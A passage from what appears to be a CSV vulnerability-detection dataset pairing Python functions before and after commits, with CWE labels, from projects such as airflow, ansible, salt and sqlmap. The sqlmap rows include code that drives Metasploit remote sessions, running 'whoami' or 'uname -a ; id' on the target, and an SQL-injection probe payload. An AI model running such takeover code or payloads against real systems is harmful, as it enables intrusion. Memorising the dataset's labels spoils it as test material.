        self.logged_stack = False
        self.level = level
        self.orig_level = None",CWE-Unknown,tornadoweb/tornado,85192e11560a5fae87b4e7ed6804828ab3826d50,"def __init__(
        self,
        logger: Union[logging.Logger, basestring_type],
        regex: str,
        required: bool = True,
    ) -> None:
        """"""Constructs an ExpectLog context manager.

        :param logger: Logger object (or name of logger) to watch.  Pass
            an empty string to watch the root logger.
        :param regex: Regular expression to match.  Any log entries on
            the specified logger that match this regex will be suppressed.
        :param required: If true, an exception will be raised if the end of
            the ``with`` statement is reached without matching any log entries.
        """"""
        if isinstance(logger, basestring_type):
            logger = logging.getLogger(logger)
        self.logger = logger
        self.regex = re.compile(regex)
        self.required = required
        self.matched = False
        self.logged_stack = False"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/url/handlers/keepalive/http_response.py,0,"def _check_close(self):
        """"""
        Overriding to add ""max"" support
        http://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#p-max
        """"""
        keep_alive = self.msg.getheader('keep-alive')

        if keep_alive and keep_alive.lower().endswith('max=1'):
            # We close right before the ""max"" deadline
            debug('will_close = True due to max=1')
            return True

        conn = self.msg.getheader('connection')

        # Is the remote end saying we need to keep the connection open?
        if conn and 'keep-alive' in conn.lower():
            debug('will_close = False due to Connection: keep-alive')
            return False

        # Is the remote end saying we need to close the connection?
        elif conn and 'close' in conn.lower():
            debug('will_close = False due to Connection: close')
            return True

        if self.version == 11:
            # An HTTP/1.1 connection is assumed to stay open unless explicitly
            # closed.
            debug('will_close = False due to default keep-alive in 1.1')
            return False

        # Proxy-Connection is a netscape hack.
        pconn = self.msg.getheader('proxy-connection')
        if pconn and ""keep-alive"" in pconn.lower():
            return False

        # otherwise, assume it will close
        return True",,andresriancho/w3af,03bde15d03a38bb4de77609f1a30b23317f0e175,"def _check_close(self):
        """"""
        Overriding to add ""max"" support
        http://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#p-max
        """"""
        conn = self.msg.getheader('connection')

        # Is the remote end saying we need to keep the connection open?
        if conn and 'keep-alive' in conn.lower():
            return False

        # Is the remote end saying we need to close the connection?
        elif conn and 'close' in conn.lower():
            return True

        # Some HTTP/1.0 implementations have support for persistent
        # connections, using rules different than HTTP/1.1.
        keep_alive = self.msg.getheader('keep-alive')

        # For older HTTP, Keep-Alive indicates persistent connection.
        if keep_alive:
            # We close one before the deadline
            if keep_alive.lower().endswith('max=1'):
                debug('will_close set to True because of max=1')
                return True

            return False

        # Proxy-Connection is a netscape hack.
        pconn = self.msg.getheader('proxy-connection')
        if pconn and ""keep-alive"" in pconn.lower():
            return False

        # otherwise, assume it will close
        return True"
,UNKNOWN,UNKNOWN,tests/io/test_path.py,1,"def test_backwards_compat(self):
        _register_filesystems.cache_clear()
        from airflow.io import _BUILTIN_SCHEME_TO_FS as SCHEMES

        try:
            SCHEMES[""file""] = get_fs_no_storage_options  # type: ignore[call-arg]

            assert get_fs(""file"")

            with pytest.raises(AttributeError):
                get_fs(""file"", storage_options={""foo"": ""bar""})

        finally:
            # Reset the cache to avoid side effects
            _register_filesystems.cache_clear()",CWE-703,apache/airflow,07b32f04fe1dc5b568f954e68960ecba50a71f80,"def test_backwards_compat(self):
        _register_filesystems.cache_clear()
        from airflow.io import _BUILTIN_SCHEME_TO_FS as SCHEMES

        try:
            SCHEMES[""file""] = get_fs_no_storage_options  # type: ignore[call-arg]

            assert get_fs(""file"")

            with pytest.raises(AttributeError):
                get_fs(""file"", storage_options={""foo"": ""bar""})

        finally:
            # Reset the cache to avoid side effects
            _register_filesystems.cache_clear()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/task_command.py,0,"def task_list(args, dag=None):
    """"""Lists the tasks within a DAG at the command line""""""
    dag = dag or get_dag(args.subdir, args.dag_id)
    if args.tree:
        dag.tree_view()
    else:
        tasks = sorted(t.task_id for t in dag.tasks)
        print(""\n"".join(tasks))",CWE-Unknown,apache/airflow,38301c16ee3acdfd3de6128fae5056b25cc14e4c,"def task_list(args, dag=None):
    """"""Lists the tasks within a DAG at the command line""""""
    dag = dag or get_dag(args.subdir, args.dag_id)
    if args.tree:
        dag.tree_view()
    else:
        tasks = sorted([t.task_id for t in dag.tasks])
        print(""\n"".join(tasks))"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_gtm_pool.py,1,"def test_create_pool(self, *args):
        set_module_args(dict(
            name='foo',
            preferred_lb_method='round-robin',
            password='password',
            server='localhost',
            user='admin'
        ))

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )

        # Override methods in the specific type of manager
        tm = UntypedManager(module=module)
        tm.exists = Mock(side_effect=[False, True])
        tm.create_on_device = Mock(return_value=True)

        # Override methods to force specific logic in the module to happen
        mm = ModuleManager(module=module)
        mm.version_is_less_than_12 = Mock(return_value=True)
        mm.get_manager = Mock(return_value=tm)
        mm.gtm_provisioned = Mock(return_value=True)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['preferred_lb_method'] == 'round-robin'","CWE-259, CWE-703",ansible/ansible,49f34fec13c31a20681129537ea39109554378a7,"def test_create_pool(self, *args):
        set_module_args(dict(
            name='foo',
            preferred_lb_method='round-robin',
            password='passsword',
            server='localhost',
            user='admin'
        ))

        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )

        # Override methods in the specific type of manager
        tm = UntypedManager(module=module)
        tm.exists = Mock(side_effect=[False, True])
        tm.create_on_device = Mock(return_value=True)

        # Override methods to force specific logic in the module to happen
        mm = ModuleManager(module=module)
        mm.version_is_less_than_12 = Mock(return_value=True)
        mm.get_manager = Mock(return_value=tm)
        mm.gtm_provisioned = Mock(return_value=True)

        results = mm.exec_module()

        assert results['changed'] is True
        assert results['preferred_lb_method'] == 'round-robin'"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/file.py,0,"def read(self, size=None):
        """"""
        Read at most ``size`` bytes from the file (less if we hit the end of the
        file first).  If the ``size`` argument is negative or omitted, read all
        the remaining data in the file.

        `'b' mode flag is ignored (self.FLAG_BINARY in self._flags), because
        SSH treats all files as binary, since we have no idea what encoding
        the file is in, or even if the file is text data.
  

        :param int size: maximum number of bytes to read
        :return:
            data read from the file (as bytes ), or an empty string
            if EOF was encountered immediately
        """"""
        if self._closed:
            raise IOError('File is closed')
        if not (self._flags & self.FLAG_READ):
            raise IOError('File is not open for reading')
        if (size is None) or (size < 0):
            # go for broke
            result = self._rbuffer
            self._rbuffer = bytes()
            self._pos += len(result)
            while True:
                try:
                    new_data = self._read(self._DEFAULT_BUFSIZE)
                except EOFError:
                    new_data = None
                if (new_data is None) or (len(new_data) == 0):
                    break
                result += new_data
                self._realpos += len(new_data)
                self._pos += len(new_data)
            return result 
        if size <= len(self._rbuffer):
            result = self._rbuffer[:size]
            self._rbuffer = self._rbuffer[size:]
            self._pos += len(result)
            return result 
        while len(self._rbuffer) < size:
            read_size = size - len(self._rbuffer)
            if self._flags & self.FLAG_BUFFERED:
                read_size = max(self._bufsize, read_size)
            try:
                new_data = self._read(read_size)
            except EOFError:
                new_data = None
            if (new_data is None) or (len(new_data) == 0):
                break
            self._rbuffer += new_data
            self._realpos += len(new_data)
        result = self._rbuffer[:size]
        self._rbuffer = self._rbuffer[size:]
        self._pos += len(result)
        return result",,paramiko/paramiko,3fce8abf68f386d18f2fad9f086e0d436af57b3a,"def read(self, size=None):
        """"""
        Read at most ``size`` bytes from the file (less if we hit the end of the
        file first).  If the ``size`` argument is negative or omitted, read all
        the remaining data in the file.

        :param int size: maximum number of bytes to read
        :return:
            data read from the file (as a `str`), or an empty string if EOF was
            encountered immediately
        """"""
        if self._closed:
            raise IOError('File is closed')
        if not (self._flags & self.FLAG_READ):
            raise IOError('File is not open for reading')
        if (size is None) or (size < 0):
            # go for broke
            result = self._rbuffer
            self._rbuffer = bytes()
            self._pos += len(result)
            while True:
                try:
                    new_data = self._read(self._DEFAULT_BUFSIZE)
                except EOFError:
                    new_data = None
                if (new_data is None) or (len(new_data) == 0):
                    break
                result += new_data
                self._realpos += len(new_data)
                self._pos += len(new_data)
            return result if self._flags & self.FLAG_BINARY else u(result)
        if size <= len(self._rbuffer):
            result = self._rbuffer[:size]
            self._rbuffer = self._rbuffer[size:]
            self._pos += len(result)
            return result if self._flags & self.FLAG_BINARY else u(result)
        while len(self._rbuffer) < size:
            read_size = size - len(self._rbuffer)
            if self._flags & self.FLAG_BUFFERED:
                read_size = max(self._bufsize, read_size)
            try:
                new_data = self._read(read_size)
            except EOFError:
                new_data = None
            if (new_data is None) or (len(new_data) == 0):
                break
            self._rbuffer += new_data
            self._realpos += len(new_data)
        result = self._rbuffer[:size]
        self._rbuffer = self._rbuffer[size:]
        self._pos += len(result)
        return result if self._flags & self.FLAG_BINARY else u(result)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/takeover/metasploit.py,0,"def _controlMsfCmd(self, proc, func):
        initialized = False
        start_time = time.time()
        stdin_fd = sys.stdin.fileno()

        while True:
            returncode = proc.poll()

            if returncode is None:
                # Child hasn't exited yet
                pass
            else:
                logger.debug(""connection closed properly"")
                return returncode

            try:
                if IS_WIN:
                    timeout = 3

                    inp = """"
                    _ = time.time()

                    while True:
                        if msvcrt.kbhit():
                            char = msvcrt.getche()

                            if ord(char) == 13:     # enter_key
                                break
                            elif ord(char) >= 32:   # space_char
                                inp += char

                        if len(inp) == 0 and (time.time() - _) > timeout:
                            break

                    if len(inp) > 0:
                        try:
                            send_all(proc, inp)
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass
                else:
                    ready_fds = select.select([stdin_fd], [], [], 1)

                    if stdin_fd in ready_fds[0]:
                        try:
                            send_all(proc, blockingReadFromFD(stdin_fd))
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass

                out = recv_some(proc, t=.1, e=0)
                blockingWriteToFD(sys.stdout.fileno(), getBytes(out))

                # For --os-pwn and --os-bof
                pwnBofCond = self.connectionStr.startswith(""reverse"")
                pwnBofCond &= any(_ in out for _ in (b""Starting the payload handler"", b""Started reverse""))

                # For --os-smbrelay
                smbRelayCond = b""Server started"" in out

                if pwnBofCond or smbRelayCond:
                    func()

                timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT

                if not initialized:
                    match = re.search(b""Meterpreter session ([\d]+) opened"", out)

                    if match:
                        self._loadMetExtensions(proc, match.group(1))

                        if ""shell"" in self.payloadStr:
                            send_all(proc, ""whoami\n"" if Backend.isOs(OS.WINDOWS) else ""uname -a ; id\n"")
                            time.sleep(2)

                        initialized = True
                    elif timeout:
                        proc.kill()
                        errMsg = ""timeout occurred while attempting ""
                        errMsg += ""to open a remote session""
                        raise SqlmapGenericException(errMsg)

                if conf.liveTest and timeout:
                    if initialized:
                        send_all(proc, ""exit\n"")
                        time.sleep(2)
                    else:
                        proc.kill()

            except select.error as ex:
                # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
                if (ex[0] if six.PY2 else ex.errno) == errno.EINTR:
                    continue
                else:
                    return proc.returncode
            except (EOFError, IOError):
                return proc.returncode
            except KeyboardInterrupt:
                pass",,sqlmapproject/sqlmap,2b57b4b54bff8f54ff32ce0b5270f0ecd6a9e3c9,"def _controlMsfCmd(self, proc, func):
        initialized = False
        start_time = time.time()
        stdin_fd = sys.stdin.fileno()

        while True:
            returncode = proc.poll()

            if returncode is None:
                # Child hasn't exited yet
                pass
            else:
                logger.debug(""connection closed properly"")
                return returncode

            try:
                if IS_WIN:
                    timeout = 3

                    inp = """"
                    _ = time.time()

                    while True:
                        if msvcrt.kbhit():
                            char = msvcrt.getche()

                            if ord(char) == 13:     # enter_key
                                break
                            elif ord(char) >= 32:   # space_char
                                inp += char

                        if len(inp) == 0 and (time.time() - _) > timeout:
                            break

                    if len(inp) > 0:
                        try:
                            send_all(proc, inp)
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass
                else:
                    ready_fds = select.select([stdin_fd], [], [], 1)

                    if stdin_fd in ready_fds[0]:
                        try:
                            send_all(proc, blockingReadFromFD(stdin_fd))
                        except (EOFError, IOError):
                            # Probably the child has exited
                            pass

                out = recv_some(proc, t=.1, e=0)
                blockingWriteToFD(sys.stdout.fileno(), getBytes(out))

                # For --os-pwn and --os-bof
                pwnBofCond = self.connectionStr.startswith(""reverse"")
                pwnBofCond &= any(_ in out for _ in (b""Starting the payload handler"", b""Started reverse""))

                # For --os-smbrelay
                smbRelayCond = b""Server started"" in out

                if pwnBofCond or smbRelayCond:
                    func()

                timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT

                if not initialized:
                    match = re.search(b""Meterpreter session ([\d]+) opened"", out)

                    if match:
                        self._loadMetExtensions(proc, match.group(1))

                        if ""shell"" in self.payloadStr:
                            send_all(proc, ""whoami\n"" if Backend.isOs(OS.WINDOWS) else ""uname -a ; id\n"")
                            time.sleep(2)

                        initialized = True
                    elif timeout:
                        proc.kill()
                        errMsg = ""timeout occurred while attempting ""
                        errMsg += ""to open a remote session""
                        raise SqlmapGenericException(errMsg)

                if conf.liveTest and timeout:
                    if initialized:
                        send_all(proc, ""exit\n"")
                        time.sleep(2)
                    else:
                        proc.kill()

            except select.error as ex:
                # Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
                if ex[0] == errno.EINTR:
                    continue
                else:
                    return proc.returncode
            except (EOFError, IOError):
                return proc.returncode
            except KeyboardInterrupt:
                pass"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_event_logs.py,1,"def test_get_event_logs(
        self, test_client, query_params, expected_status_code, expected_total_entries, expected_events
    ):
        response = test_client.get(""/public/eventLogs"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return

        resp_json = response.json()
        assert resp_json[""total_entries""] == expected_total_entries
        for event_log, expected_event in zip(resp_json[""event_logs""], expected_events):
            assert event_log[""event""] == expected_event",CWE-703,apache/airflow,cba9f7a22ecae0fc65e2d6726e2e0ca9d02de168,"def test_get_event_logs(
        self, test_client, query_params, expected_status_code, expected_total_entries, expected_events
    ):
        response = test_client.get(""/public/eventLogs/"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return

        resp_json = response.json()
        assert resp_json[""total_entries""] == expected_total_entries
        for event_log, expected_event in zip(resp_json[""event_logs""], expected_events):
            assert event_log[""event""] == expected_event"
,UNKNOWN,UNKNOWN,salt/utils/schedule.py,1,"def add_job(self, data, persist=True):
        '''
        Adds a new job to the scheduler. The format is the same as required in
        the configuration file. See the docs on how YAML is interpreted into
        python data-structures to make sure, you pass correct dictionaries.
        '''

        # we don't do any checking here besides making sure its a dict.
        # eval() already does for us and raises errors accordingly
        if not isinstance(data, dict):
            raise ValueError('Scheduled jobs have to be of type dict.')
        if not len(data) == 1:
            raise ValueError('You can only schedule one new job at a time.')

        # if enabled is not included in the job,
        # assume job is enabled.
        for job in data.keys():
            if 'enabled' not in data[job]:
                data[job]['enabled'] = True

        new_job = next(six.iterkeys(data))

        if new_job in self.opts['schedule']:
            log.info('Updating job settings for scheduled '
                     'job: {0}'.format(new_job))
        else:
            log.info('Added new job {0} to scheduler'.format(new_job))

        self.opts['schedule'].update(data)

        # Fire the complete event back along with updated list of schedule
        evt = salt.utils.event.get_event('minion', opts=self.opts, listen=False)
        evt.fire_event({'complete': True, 'schedule': self.opts['schedule']},
                       tag='/salt/minion/minion_schedule_add_complete')

        if persist:
            self.persist()",CWE-94,saltstack/salt,9d64b419d29966bdbdc93416967a69ed60db558b,"def add_job(self, data, persist=True):
        '''
        Adds a new job to the scheduler. The format is the same as required in
        the configuration file. See the docs on how YAML is interpreted into
        python data-structures to make sure, you pass correct dictionaries.
        '''

        # we don't do any checking here besides making sure its a dict.
        # eval() already does for us and raises errors accordingly
        if not isinstance(data, dict):
            raise ValueError('Scheduled jobs have to be of type dict.')
        if not len(data) == 1:
            raise ValueError('You can only schedule one new job at a time.')

        new_job = next(six.iterkeys(data))

        if new_job in self.opts['schedule']:
            log.info('Updating job settings for scheduled '
                     'job: {0}'.format(new_job))
        else:
            log.info('Added new job {0} to scheduler'.format(new_job))

        self.opts['schedule'].update(data)

        # Fire the complete event back along with updated list of schedule
        evt = salt.utils.event.get_event('minion', opts=self.opts, listen=False)
        evt.fire_event({'complete': True, 'schedule': self.opts['schedule']},
                       tag='/salt/minion/minion_schedule_add_complete')

        if persist:
            self.persist()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/access/fingerprint.py,0,"def __sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None
        if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
            if kb.dbmsVersion[0] in (""97"", ""2000""):
                table = ""MSysAccessObjects""
            elif kb.dbmsVersion[0] in (""2002-2003"", ""2007""):
                table = ""MSysAccessStorage""
            if table:
                query   = agent.prefixQuery(""AND EXISTS(SELECT CURDIR() FROM %s)"" % table)
                query   = agent.suffixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)
                retVal = ""not sandboxed"" if result else ""sandboxed""

        return retVal",,sqlmapproject/sqlmap,17486e472a3c05cae2ae92d5887a922b7ac7aacf,"def __sandBoxCheck(self):
        # Reference: http://milw0rm.com/papers/198
        retVal = None
        table = None
        if kb.dbmsVersion and len(kb.dbmsVersion) > 0:
            if kb.dbmsVersion[0] in (""97"", ""2000""):
                table = ""MSysAccessObjects""
            elif kb.dbmsVersion[0] in (""2002-2003"", ""2007""):
                table = ""MSysAccessStorage""
            if table:
                query   = agent.prefixQuery(""AND EXISTS(SELECT CURDIR() FROM %s)"" % table)
                query   = agent.postfixQuery(query)
                payload = agent.payload(newValue=query)
                result  = Request.queryPage(payload)
                retVal = ""not sandboxed"" if result else ""sandboxed""

        return retVal"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/executor/play_iterator.py,0,"def __init__(self, inventory, play, play_context, variable_manager, all_vars, start_at_done=False):
        self._play = play
        self._blocks = []
        self._variable_manager = variable_manager

        # Default options to gather
        gather_subset = self._play.gather_subset
        gather_timeout = self._play.gather_timeout
        fact_path = self._play.fact_path

        setup_block = Block(play=self._play)
        # Gathering facts with run_once would copy the facts from one host to
        # the others.
        setup_block.run_once = False
        setup_task = Task(block=setup_block)
        setup_task.action = 'gather_facts'
        setup_task.name = 'Gathering Facts'
        setup_task.args = {
            'gather_subset': gather_subset,
        }

        # Unless play is specifically tagged, gathering should 'always' run
        if not self._play.tags:
            setup_task.tags = ['always']

        if gather_timeout:
            setup_task.args['gather_timeout'] = gather_timeout
        if fact_path:
            setup_task.args['fact_path'] = fact_path
        setup_task.set_loader(self._play._loader)
        # short circuit fact gathering if the entire playbook is conditional
        if self._play._included_conditional is not None:
            setup_task.when = self._play._included_conditional[:]
        setup_block.block = [setup_task]

        setup_block = setup_block.filter_tagged_tasks(all_vars)
        self._blocks.append(setup_block)

        for block in self._play.compile():
            new_block = block.filter_tagged_tasks(all_vars)
            if new_block.has_tasks():
                self._blocks.append(new_block)

        self._host_states = {}
        start_at_matched = False
        batch = inventory.get_hosts(self._play.hosts, order=self._play.order)
        self.batch_size = len(batch)
        for host in batch:
            self._host_states[host.name] = HostState(blocks=self._blocks)
            # if we're looking to start at a specific task, iterate through
            # the tasks for this host until we find the specified task
            if play_context.start_at_task is not None and not start_at_done:
                while True:
                    (s, task) = self.get_next_task_for_host(host, peek=True)
                    if s.run_state == self.ITERATING_COMPLETE:
                        break
                    if task.name == play_context.start_at_task or (task.name and fnmatch.fnmatch(task.name, play_context.start_at_task)) or \
                       task.get_name() == play_context.start_at_task or fnmatch.fnmatch(task.get_name(), play_context.start_at_task):
                        start_at_matched = True
                        break
                    else:
                        self.get_next_task_for_host(host)

                # finally, reset the host's state to ITERATING_SETUP
                if start_at_matched:
                    self._host_states[host.name].did_start_at_task = True
                    self._host_states[host.name].run_state = self.ITERATING_SETUP

        if start_at_matched:
            # we have our match, so clear the start_at_task field on the
            # play context to flag that we've started at a task (and future
            # plays won't try to advance)
            play_context.start_at_task = None

        self.end_play = False",,ansible/ansible,e201b542be23bccd2418eab661cdf5454af3bea8,"def __init__(self, inventory, play, play_context, variable_manager, all_vars, start_at_done=False):
        self._play = play
        self._blocks = []
        self._variable_manager = variable_manager

        # Default options to gather
        gather_subset = self._play.gather_subset
        gather_timeout = self._play.gather_timeout
        fact_path = self._play.fact_path

        setup_block = Block(play=self._play)
        # Gathering facts with run_once would copy the facts from one host to
        # the others.
        setup_block.run_once = False
        setup_task = Task(block=setup_block)
        setup_task.action = 'gather_facts'
        setup_task.name = 'Gathering Facts'
        setup_task.args = {
            'gather_subset': gather_subset,
        }

        # Unless play is specifically tagged, gathering should 'always' run
        if not self._play.tags:
            setup_task.tags = ['always']

        if gather_timeout:
            setup_task.args['gather_timeout'] = gather_timeout
        if fact_path:
            setup_task.args['fact_path'] = fact_path
        setup_task.set_loader(self._play._loader)
        # short circuit fact gathering if the entire playbook is conditional
        if self._play._included_conditional is not None:
            setup_task.when = self._play._included_conditional[:]
        setup_block.block = [setup_task]

        setup_block = setup_block.filter_tagged_tasks(all_vars)
        self._blocks.append(setup_block)

        for block in self._play.compile():
            new_block = block.filter_tagged_tasks(all_vars)
            if new_block.has_tasks():
                self._blocks.append(new_block)

        self._host_states = {}
        start_at_matched = False
        batch = inventory.get_hosts(self._play.hosts, order=self._play.order)
        self.batch_size = len(batch)
        for host in batch:
            self._host_states[host.name] = HostState(blocks=self._blocks)
            # if we're looking to start at a specific task, iterate through
            # the tasks for this host until we find the specified task
            if play_context.start_at_task is not None and not start_at_done:
                while True:
                    (s, task) = self.get_next_task_for_host(host, peek=True)
                    if s.run_state == self.ITERATING_COMPLETE:
                        break
                    if task.name == play_context.start_at_task or (task.name and fnmatch.fnmatch(task.name, play_context.start_at_task)) or \
                       task.get_name() == play_context.start_at_task or fnmatch.fnmatch(task.get_name(), play_context.start_at_task):
                        start_at_matched = True
                        break
                    else:
                        self.get_next_task_for_host(host)

                # finally, reset the host's state to ITERATING_SETUP
                if start_at_matched:
                    self._host_states[host.name].did_start_at_task = True
                    self._host_states[host.name].run_state = self.ITERATING_SETUP

        if start_at_matched:
            # we have our match, so clear the start_at_task field on the
            # play context to flag that we've started at a task (and future
            # plays won't try to advance)
            play_context.start_at_task = None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def dag_to_grid(dag, dag_runs, session):
    """"""
    Create a nested dict representation of the DAG's TaskGroup and its children
    used to construct the Graph and Grid views.
    """"""
    query = (
        session.query(
            TaskInstance.task_id,
            TaskInstance.run_id,
            TaskInstance.state,
            TaskInstance.notes,
            sqla.func.count(sqla.func.coalesce(TaskInstance.state, sqla.literal(""no_status""))).label(
                ""state_count""
            ),
            sqla.func.min(TaskInstance.start_date).label(""start_date""),
            sqla.func.max(TaskInstance.end_date).label(""end_date""),
            sqla.func.max(TaskInstance._try_number).label(""_try_number""),
        )
        .filter(
            TaskInstance.dag_id == dag.dag_id,
            TaskInstance.run_id.in_([dag_run.run_id for dag_run in dag_runs]),
        )
        .group_by(TaskInstance.task_id, TaskInstance.run_id, TaskInstance.state, TaskInstance.notes)
        .order_by(TaskInstance.task_id, TaskInstance.run_id)
    )

    grouped_tis = {task_id: list(tis) for task_id, tis in itertools.groupby(query, key=lambda ti: ti.task_id)}

    def task_group_to_grid(item, dag_runs, grouped_tis):
        if isinstance(item, AbstractOperator):

            def _get_summary(task_instance):
                try_count = (
                    task_instance._try_number
                    if task_instance._try_number != 0 or task_instance.state in State.running
                    else task_instance._try_number + 1
                )

                return {
                    ""task_id"": task_instance.task_id,
                    ""run_id"": task_instance.run_id,
                    ""state"": task_instance.state,
                    ""start_date"": task_instance.start_date,
                    ""end_date"": task_instance.end_date,
                    ""try_number"": try_count,
                    ""notes"": task_instance.notes,
                }

            def _mapped_summary(ti_summaries):
                run_id = None
                record = None

                def set_overall_state(record):
                    for state in wwwutils.priority:
                        if state in record[""mapped_states""]:
                            record[""state""] = state
                            break
                    if None in record[""mapped_states""]:
                        # When turning the dict into JSON we can't have None as a key,
                        # so use the string that the UI does.
                        record[""mapped_states""][""no_status""] = record[""mapped_states""].pop(None)

                for ti_summary in ti_summaries:
                    if run_id != ti_summary.run_id:
                        run_id = ti_summary.run_id
                        if record:
                            set_overall_state(record)
                            yield record
                        record = {
                            ""task_id"": ti_summary.task_id,
                            ""run_id"": run_id,
                            ""start_date"": ti_summary.start_date,
                            ""end_date"": ti_summary.end_date,
                            ""mapped_states"": {ti_summary.state: ti_summary.state_count},
                            ""state"": None,  # We change this before yielding
                        }
                        continue
                    record[""start_date""] = min(
                        filter(None, [record[""start_date""], ti_summary.start_date]), default=None
                    )
                    record[""end_date""] = max(
                        filter(None, [record[""end_date""], ti_summary.end_date]), default=None
                    )
                    record[""mapped_states""][ti_summary.state] = ti_summary.state_count
                if record:
                    set_overall_state(record)
                    yield record

            if item.is_mapped:
                instances = list(_mapped_summary(grouped_tis.get(item.task_id, [])))
            else:
                instances = list(map(_get_summary, grouped_tis.get(item.task_id, [])))

            return {
                ""id"": item.task_id,
                ""instances"": instances,
                ""label"": item.label,
                ""extra_links"": item.extra_links,
                ""is_mapped"": item.is_mapped,
                ""has_outlet_datasets"": any(isinstance(i, Dataset) for i in (item.outlets or [])),
                ""operator"": item.operator_name,
            }

        # Task Group
        task_group = item

        children = [
            task_group_to_grid(child, dag_runs, grouped_tis) for child in task_group.topological_sort()
        ]

        def get_summary(dag_run, children):
            child_instances = [child[""instances""] for child in children if ""instances"" in child]
            child_instances = [
                item for sublist in child_instances for item in sublist if item[""run_id""] == dag_run.run_id
            ]

            children_start_dates = (item[""start_date""] for item in child_instances if item)
            children_end_dates = (item[""end_date""] for item in child_instances if item)
            children_states = {item[""state""] for item in child_instances if item}

            group_state = None
            for state in wwwutils.priority:
                if state in children_states:
                    group_state = state
                    break
            group_start_date = min(filter(None, children_start_dates), default=None)
            group_end_date = max(filter(None, children_end_dates), default=None)

            return {
                ""task_id"": task_group.group_id,
                ""run_id"": dag_run.run_id,
                ""state"": group_state,
                ""start_date"": group_start_date,
                ""end_date"": group_end_date,
            }

        # We don't need to calculate summaries for the root
        if task_group.group_id is None:
            return {
                ""id"": task_group.group_id,
                ""label"": task_group.label,
                ""children"": children,
                ""instances"": [],
            }

        group_summaries = [get_summary(dr, children) for dr in dag_runs]

        return {
            ""id"": task_group.group_id,
            ""label"": task_group.label,
            ""children"": children,
            ""tooltip"": task_group.tooltip,
            ""instances"": group_summaries,
        }

    return task_group_to_grid(dag.task_group, dag_runs, grouped_tis)",CWE-Unknown,apache/airflow,dc03b9081f47c11d6c3beb1a2c30bb75385c125c,"def dag_to_grid(dag, dag_runs, session):
    """"""
    Create a nested dict representation of the DAG's TaskGroup and its children
    used to construct the Graph and Grid views.
    """"""
    query = (
        session.query(
            TaskInstance.task_id,
            TaskInstance.run_id,
            TaskInstance.state,
            sqla.func.count(sqla.func.coalesce(TaskInstance.state, sqla.literal(""no_status""))).label(
                ""state_count""
            ),
            sqla.func.min(TaskInstance.start_date).label(""start_date""),
            sqla.func.max(TaskInstance.end_date).label(""end_date""),
            sqla.func.max(TaskInstance._try_number).label(""_try_number""),
        )
        .filter(
            TaskInstance.dag_id == dag.dag_id,
            TaskInstance.run_id.in_([dag_run.run_id for dag_run in dag_runs]),
        )
        .group_by(TaskInstance.task_id, TaskInstance.run_id, TaskInstance.state)
        .order_by(TaskInstance.task_id, TaskInstance.run_id)
    )

    grouped_tis = {task_id: list(tis) for task_id, tis in itertools.groupby(query, key=lambda ti: ti.task_id)}

    def task_group_to_grid(item, dag_runs, grouped_tis):
        if isinstance(item, AbstractOperator):

            def _get_summary(task_instance):
                try_count = (
                    task_instance._try_number
                    if task_instance._try_number != 0 or task_instance.state in State.running
                    else task_instance._try_number + 1
                )

                return {
                    ""task_id"": task_instance.task_id,
                    ""run_id"": task_instance.run_id,
                    ""state"": task_instance.state,
                    ""start_date"": task_instance.start_date,
                    ""end_date"": task_instance.end_date,
                    ""try_number"": try_count,
                }

            def _mapped_summary(ti_summaries):
                run_id = None
                record = None

                def set_overall_state(record):
                    for state in wwwutils.priority:
                        if state in record[""mapped_states""]:
                            record[""state""] = state
                            break
                    if None in record[""mapped_states""]:
                        # When turning the dict into JSON we can't have None as a key,
                        # so use the string that the UI does.
                        record[""mapped_states""][""no_status""] = record[""mapped_states""].pop(None)

                for ti_summary in ti_summaries:
                    if run_id != ti_summary.run_id:
                        run_id = ti_summary.run_id
                        if record:
                            set_overall_state(record)
                            yield record
                        record = {
                            ""task_id"": ti_summary.task_id,
                            ""run_id"": run_id,
                            ""start_date"": ti_summary.start_date,
                            ""end_date"": ti_summary.end_date,
                            ""mapped_states"": {ti_summary.state: ti_summary.state_count},
                            ""state"": None,  # We change this before yielding
                        }
                        continue
                    record[""start_date""] = min(
                        filter(None, [record[""start_date""], ti_summary.start_date]), default=None
                    )
                    record[""end_date""] = max(
                        filter(None, [record[""end_date""], ti_summary.end_date]), default=None
                    )
                    record[""mapped_states""][ti_summary.state] = ti_summary.state_count
                if record:
                    set_overall_state(record)
                    yield record

            if item.is_mapped:
                instances = list(_mapped_summary(grouped_tis.get(item.task_id, [])))
            else:
                instances = list(map(_get_summary, grouped_tis.get(item.task_id, [])))

            return {
                ""id"": item.task_id,
                ""instances"": instances,
                ""label"": item.label,
                ""extra_links"": item.extra_links,
                ""is_mapped"": item.is_mapped,
